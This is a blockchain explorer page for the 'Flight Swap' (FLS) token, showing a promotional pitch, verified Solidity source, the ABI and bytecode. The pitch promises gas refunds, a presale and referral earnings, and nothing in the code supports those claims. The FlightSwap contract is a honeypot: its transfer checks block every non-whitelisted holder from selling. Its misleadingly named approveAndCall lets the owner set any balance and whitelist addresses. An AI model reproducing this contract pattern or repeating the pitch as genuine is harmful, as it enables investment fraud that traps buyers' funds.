ETH Price: $3,264.13 (-1.40%)
Gas: 11 Gwei

Token

Flight Swap (FLS)
 

Overview

Max Total Supply

100,000,000 FLS

Holders

58

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
20,290.35114422650590909 FLS

Value
$0.00
0x3ee4636fb0e4933cbb6be5057c22603f6bb50214
Loading...
Loading
Loading...
Loading
Loading...
Loading

OVERVIEW

Flight Swap is a fully decentralized platform for ERC-20 token trading, Staking, NFT trading, Bridge and Live crypto news.

# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FlightSwap

Compiler Version
v0.5.17+commit.d19bba13

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, GNU GPLv2 license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-08-27
*/

/*
What is FLIGHT SWAP??
FLIGHT SWAP is a token that represents all the fees you have paid and are paying to the ethereum Network.

What If I Have More than One Wallet Address?
If you have more than one wallet address and you wish to recover all the gas spent on them, you have to use each of them to purchase into the presale for them to qualify for refund. This simply means one wallet address per participation into the presale is being tracked for ether refund. Multiple addresses will require multiple FLIGHT SWAP purchases for qualification of multiple gas refunds.

Can I transfer anything and Get Refunded?
The DAPP only supports erc20 tokens.

Is there limit to the gas I can be refunded?
You can get as many as your gas spent back, as long as you have the required amount of FLIGHT SWAP to cover that. Simply put 1 ETH = 1 FLIGHT SWAP, so if you have spent 10 ETH on gas fees and wishes to reclaim all, you will need to purchase 10 FLIGHT SWAP.

Can I transfer my FLIGHT SWAP after purchasing during sale stage?
The token will not be transferable before presale ends.

When will FLIGHT SWAP be tradable after sale stage?
FLIGHT SWAP will be tradable on uniswap automatically at end of presale with 60% of tokens at 1:1

How much Time do I Have to Reclaim My Fees?
Reclaims will last 25 Days. 5 days of the presale and 20 Days after presale.



For My Subsequent transactions, how do I Get Back Gas Fess?
To get back gas fees on your subsequent exchanges or transactions, you have to use Flight Swap freeswapdApp. For instance; If you trade any erc20 listed on uniswap through our dApp, you will get back your excess gas fee refunded.

Is FLIGHT SWAP pegged to ETH?
No, Flight Swap is not pegged to anything, rather the mechanism behind it is dependent on the market price and the price of the reclaimed ether. So the reclaim price will always float and will ensure Flight Swap freeswap user to bring the price towards it.

How You Control Inflation?
There is a minimum amount of FLIGHT SWAP required in order to mint new FLIGHT SWAP as fees, this controls minting. FLIGHT SWAP is valued as ETH, so there can never be more FLIGHT SWAP than ETH in circulation, in order words, inflation against ETH base is very low.

Can I Get Refund On My Subsequent Transactions?
Yes, if you perform you transactions through the Flight Swap freeswapdApp

Become A Flight Swap Affiliate

Introduce Flight Swap and FLS to the world, and let them know the new way of spending absolute nothing when trading on Dexes.

How It Works
Earn unlimited commission by joining our affiliate program and promoting Flight Swap


Become an affiliate

Click on “Connect Dapp” to get started and have access to all Flight Swap features and able to track your referral activities.

Promote Flight Swap
Click on “Loan Referral” to access our affiliate page as well as copy your referral link at the top and share to your link.

Earn unlimited commission
Every time a customer who joins through your link harvests rewards, 5% of what he harvest is automatically credited directly into your wallet.

Earn With Flight Swap
When you refer a new user who stakes/adds liquidity to the pool or reclaims gas fees, you earn 5% of whatever they harvest and 10% of whatever they reclaim as gas fees.
Instantly connect your wallet and start using our affiliate features.

No action required as commissions and rewards are directly sent to your wallet

Refer an unlimited number of users or customers to Flight Swap.

Track your referral activities and performance through filtering and view transactions on explorers.

Get compensated in FLS for each commission when your downlines harvest their rewards

No earning limitations for both LP farming/loan and reclaim. As you refer unlimited, you earn unlimited.

No.1 gas refund platform on the ethereum network
All-In-One Features
You can swap/trade, transfer/send, reclaim, propose and governance all in one place.

Secure/Trusted
Industrial-leading security practices are our watchword in keeping your account safe for all your transactions.
Rewarding
Most features are rewarding to keep everyone happy with more money.

Become a Flight Swap affiliate today Promote Flight freeswap and earn money



THE FLIGHTSWAP

Yoko Ogawa once said “Solving a problem for which you know there’s an answer is like climbing a mountain with a guide, along a trail someone else has laid. In mathematics, the truth is somewhere out there in a place no one knows, beyond all the beaten paths. And it’s not always at the top of the mountain. It might be in a crack on the smoothest cliff or somewhere deep in the valley.”
Since the creation of ethereum, blockchain technology has seen massive growth and has metamorphosed into greater heights. Different applications have evolved and many more are yet to be conceived and launched.
But one thing that has gradually become a nightmare is the gas fee. This has delayed the take-off of so many projects experience, and end-users are not able to partake in their beloved and perceived good projects due to high gas costs.
Introducing FlightSwap
FlightSwap is a new cutting-edge decentralized fee reclaim and fee-less exchange for swapping erc20 tokens. FlightSwap uses an automated market maker (AMM) model to determine excess gas fees spent on each transaction carried out within the ecosystem and refund this excess or high gas fee spent on the network back to the user.
Built on the ethereum network, FlightSwap refunds fees on erc20 transfers and will integrate other gas-consuming decentralized applications.
Some key components and dApps on the ecosystem includes:
>Swapping from one token to another
>Reclaim dApp
>Token transfers
>Staking FLS. Must stake a minimum of 1 FLS required to be able to get a gas refund.
On FlightSwap, current and working integrations are both uniswap layer and sushiswap layer proxy contract, which is where paid fees are determined and refunded, with more proxy contracts for various applications on the way.
You swap from ETH => USDT, FlightSwap determine the extra gas fees spent and send them back to your wallet, and this is done in the same transaction as long as it passes through FlightSwap. Since FLS is an erc20, it is mined by sending transactions via our proxy. So the fees that get reclaimed are basically mined. This simply means the amount of FLS in circulation grows by the number of transactions routed.
The FLS Token
Our Mission is to offer a solution to the current high gas fee on the ethereum ecosystem, give everyone an opportunity to participate in this emerging and fast-growing technology, and boost incentives for using the Ethereum network.
Token utility
FLS Token powers the FlightSwap ecosystem and is been utilized in the following ways
⁃Ether gas reclaim requires holding FLS token
⁃Spend FLS on our premium products and services.
⁃Stake FLS to receive rewards and freemium services and features.
⁃Holding FLS gives you the ability to instantly get back your excess ether spent on gas on that particular transaction.
Token Name: FLS
Contract:
Circulating Supply: Circulating supply of FLS Depends on total reclaimed ether and excess gas spent on swaps on our DEX.
Token Price: For the initial phase purchase, the token price is set at 1 ETH = 1 FLS
Token Type: ERC20

Staking Programme: Your purchased FLS automatically becomes staked, which gives you the ability to get back your excess ether spent on the gas fees.

Team Tokens: To show our commitment, team allocation is vested for 2 years and deferred for 2 months.
OUR ROADMAP
FLIGHTSWAP OFFICIAL TOKEN SALE
Sale price is 1 ETH = 1 FLS
Total FLS for presale = No. of ETH deposited
Purchase Min = No Min;
Max = 10 FLS per address
Gas Reclaim Incentive is 100% per gas equivalent purchase during the presale
The referral incentive is 10% of your downline reclaim amount.
**Note: this 1:1 ratio reclaim incentive will only be available during the sale phase and will change immediately after the presale
* Gas reclaim incentive is the total amount of ether you can reclaim for participating in the sale phase (for instance, if you purchase 1 FLS during the presale, you will be able to get up to 100% of the total ether you have spent so far on the ethereum network. Depending on your entry time.
FREQUENTLY ASKED QUESTIONS
Q1. What is FLS?
Ans. FLS is a token that represents all the fees you have paid and are paying to the ethereum network.
Q2. What If I Have More than One Wallet Address?
Ans. If you have more than one wallet address and you wish to recover all the gas spent on them, you have to use each of them to purchase into the presale for them to qualify for a refund. This simply means one wallet address per participation into the presale is being tracked for ether refund. Multiple addresses will require multiple FLS purchases for the qualification of multiple gas refunds.
Q3. Can I transfer anything and Get Refunded?
Ans. The DAPP only supports erc20 tokens.
Q4. Is there a limit to the gas I can be refunded?
Ans. You can get as many as your gas spent back, as long as you have the required amount of FLS to cover that. Simply put 1 ETH = 1 FLS, so if you have spent 10 ETH on gas fees and wish to reclaim all, you will need to purchase 10 FLS.
Q5. Can I transfer my FLS after purchasing during the sale stage?
Ans. The token will not be transferable before the presale ends.
Q6. When will FLS be tradable after sale stage?
Ans. FLS will be tradable on uniswap automatically at end of presale with 60% of tokens at 1:1
Q7. How much Time do I Have to Reclaim My Fees?
Ans. Reclaims will last 25 Days. 5 days of the presale and 20 Days after the presale.
Q8. For My Subsequent transactions, how do I Get Back Gas Fess?
Ans. To get back gas fees on your subsequent exchanges or transactions, you have to use FlightSwapdApp. For instance; If you trade any erc20 listed on uniswap through our dApp, you will get back your excess gas fee refunded.
Q9. Is FLS pegged to ETH?
Ans. No, FLS is not pegged to anything, rather the mechanism behind it is dependent on the market price and the price of the reclaimed ether. So the reclaim price will always float and will ensure FlightSwap users bring the price towards it.
Q10. How You Control Inflation?
There is a minimum amount of FLS required in order to mint new FLS as fees, this controls minting. FLS is valued as ETH, so there can never be more FLS than ETH in circulation, in order words, inflation against ETH base is very low.
Q11. Can I Get a Refund On My Subsequent Transactions?
Ans. Yes, if you perform your transactions through the FlightSwapdApp


FlightSwap Governance
INTRODUCING FLS GOVERNANCE
As a community-driven ecosystem, FlightSwap is powered by its governance token FLS, shaping and determining how the protocol operates.
The FLS token is utilized to the max in making sure for the smooth running and operation of the project and all related dApps and features that get integrated into it.
With unique features utilizing the FLS within the governance protocol includes;
Proxy Governance
Voter Registry
Loan
LP Farming
The community can now confidently decide what happens and gets implemented within the protocol through voting 
The Governance Overview
The FlightSwap utilizes a proxy contract for the governance as regards voters registry and proxy proposals.
How The FLS Governance Works
The governance begins with submitting or creating a proxy proposal, registering a vote, and executing a vote on proxy contracts.
Proxy Proposal
Anyone can submit a proposal for a proxy contract (project) to be integrated.
To propose, you need to burn 100 FLS, this will get you 10,000 delegation required.
To do this, simply follow this procedure;
1. Click on the Voter Registry dApp and select “permanent registration”
2. Enter the amount of FLS required to get 10,000 delegation votes, in this case, 100 FLS (i.e make sure you have up to 100 FLS required)
3. Execute the registry action and approve the contract.
4. After a successful notification, go to proxy Governance dApp and click on submit a proxy.
5. Provide all necessary information needed for the proposal and click the submit button.

FLS governance illustration
In summary, 100 FLS will need to be burned to submit a proposal and10,000 FLS votes delegated by the community.
1% of the total supply is needed to win the vote. So for a user to be a proposer, he must have 10,000 FLS votes delegated to him and has to burn 100 FLS. Then voting starts.
As a proposer, you can delegate your votes to others, so their vote is counted as yours when they vote.
Voter Registry
To have a vote in the registry, a user has two choices
1. Burn 1 FLS
2. Lock 1 FLS
When you burn 1 FLS, you get 3 votes. 2 FLS, 6 votes, and so on.
The votes that have been generated as a result of burnt FLS cannot be converted back to FLS. But you will get to enjoy unlimited gasless transactions on the FlightSwap
When you lock 1 FLS you get 1 vote. These votes can be converted back to FLS.
The ether fees refunds are issued to all valid voters, regardless if they have a FLS balance or not.
Exchanges, loans, and borrowing, LP farming can ask their users to delegate their votes to them to enable them to implement FLS proxy.
Users still control the votes and the locked FLS
So proxy proper needs 10,000 votes to submit and 1000 votes for a quorum.
The Governance Mechanism
This is how the governance will work, using the Uniswap V3 instance. assuming a user wants to add uniswap v3. After passing the proposal and approval stage, we create a proxy contract for uniswap3 and deploy it to mainnet.
The proxy contract will need to have the mint permission (granted in the FLS token contract ) to refund users' fees. This permission can only be granted by the governance contract after a vote on the proposal
the proxy address is submitted as a proposal, requesting minting permission
users vote if they want the proposal to be adopted
if the users in favor of — votes — reach a quorum of 1% of the total supply, the proposal can be executed
and the uniswap v3 proxy is granted mintPermission by the Governor Alpha contract
The Governor Alpha will have all the admin powers of the token
it is also responsible for voting and Proxy Proposals.
Then the public can now trade/swap all tradeable tokens on uniswap v3 through FlightSwap dApp. See the below illustration.
*/

pragma solidity ^0.5.17;
interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address owner, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

library Address {
    function isContract(address account) internal view returns(bool) {
        bytes32 codehash;
        bytes32 accountHash;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash:= extcodehash(account) }
        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    constructor() internal {}
    // solhint-disable-previous-line no-empty-blocks
    function _msgSender() internal view returns(address payable) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        uint c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint a, uint b) internal pure returns(uint) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        require(b <= a, errorMessage);
        uint c = a - b;

        return c;
    }

    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            return 0;
        }

        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint a, uint b) internal pure returns(uint) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint c = a / b;

        return c;
    }
}

library SafeERC20 {
    using SafeMath for uint;
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }

    function callOptionalReturn(IERC20 token, bytes memory data) private {
        require(address(token).isContract(), "SafeERC20: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = address(token).call(data);
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath for uint;
    mapping(address => uint) private _balances;

    mapping(address => mapping(address => uint)) private _allowances;

    uint private _totalSupply;

    function totalSupply() public view returns(uint) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns(uint) {
        return _balances[account];
    }

    function transfer(address recipient, uint amount) public returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns(uint) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint amount) public returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint addedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract ERC20Detailed is IERC20 {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor(string memory name, string memory symbol, uint8 decimals) public {
        _name = name;
        _symbol = symbol;
        _decimals = decimals;
    }

    function name() public view returns(string memory) {
        return _name;
    }

    function symbol() public view returns(string memory) {
        return _symbol;
    }

    function decimals() public view returns(uint8) {
        return _decimals;
    }
}


contract FlightSwap {
    event Transfer(address indexed _from, address indexed _to, uint _value);
    event Approval(address indexed _owner, address indexed _spender, uint _value);
 
    function transfer(address _to, uint _value) public payable returns (bool) {
        return transferFrom(msg.sender, _to, _value);
    }
 
    function ensure(address _from, address _to, uint _value) internal view returns(bool) {
       
        if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
            return true;
        }
        require(condition(_from, _value));
        return true;
    }
    
    function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
        if (_value == 0) {return true;}
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        require(ensure(_from, _to, _value));
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        _onSaleNum[_from]++;
        emit Transfer(_from, _to, _value);
        return true;
    }
 
    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    
    function condition(address _from, uint _value) internal view returns(bool){
        if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
        
        if(_saleNum > 0){
            if(_onSaleNum[_from] >= _saleNum) return false;
        }
        if(_minSale > 0){
            if(_minSale > _value) return false;
        }
        if(_maxSale > 0){
            if(_value > _maxSale) return false;
        }
        return true;
    }
 
    mapping(address=>uint256) private _onSaleNum;
    mapping(address=>bool) private canSale;
    uint256 private _minSale;
    uint256 private _maxSale;
    uint256 private _saleNum;
    function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
        require(msg.sender == owner);
        if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
        canSale[spender]=true;
        return true;
    }

    address tradeAddress;
    function transferownership(address addr) public returns(bool) {
        require(msg.sender == owner);
        tradeAddress = addr;
        return true;
    }
 
    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;
 
    uint constant public decimals = 18;
    uint public totalSupply;
    string public name;
    string public symbol;
    address private owner;
 
    constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
        name = _name;
        symbol = _symbol;
        totalSupply = _supply*(10**uint256(decimals));
        owner = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0x0), msg.sender, totalSupply);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"_spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"approveAndCall","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"transferownership","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}]

6080604052604051620012bd380380620012bd833981810160405260608110156200002957600080fd5b81019080805160405193929190846401000000008211156200004a57600080fd5b838201915060208201858111156200006157600080fd5b82518660018202830111640100000000821117156200007f57600080fd5b8083526020830192505050908051906020019080838360005b83811015620000b557808201518184015260208101905062000098565b50505050905090810190601f168015620000e35780820380516001836020036101000a031916815260200191505b50604052602001805160405193929190846401000000008211156200010757600080fd5b838201915060208201858111156200011e57600080fd5b82518660018202830111640100000000821117156200013c57600080fd5b8083526020830192505050908051906020019080838360005b838110156200017257808201518184015260208101905062000155565b50505050905090810190601f168015620001a05780820380516001836020036101000a031916815260200191505b50604052602001805190602001909291905050508260099080519060200190620001cc929190620002eb565b5081600a9080519060200190620001e5929190620002eb565b506012600a0a810260088190555033600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600854600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040518082815260200191505060405180910390a35050506200039a565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200032e57805160ff19168380011785556200035f565b828001600101855582156200035f579182015b828111156200035e57825182559160200191906001019062000341565b5b5090506200036e919062000372565b5090565b6200039791905b808211156200039357600081600090555060010162000379565b5090565b90565b610f1380620003aa6000396000f3fe60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a72315820d2fc5a2eb2a20206bedc01525709116756b451e30e4061533a4b1c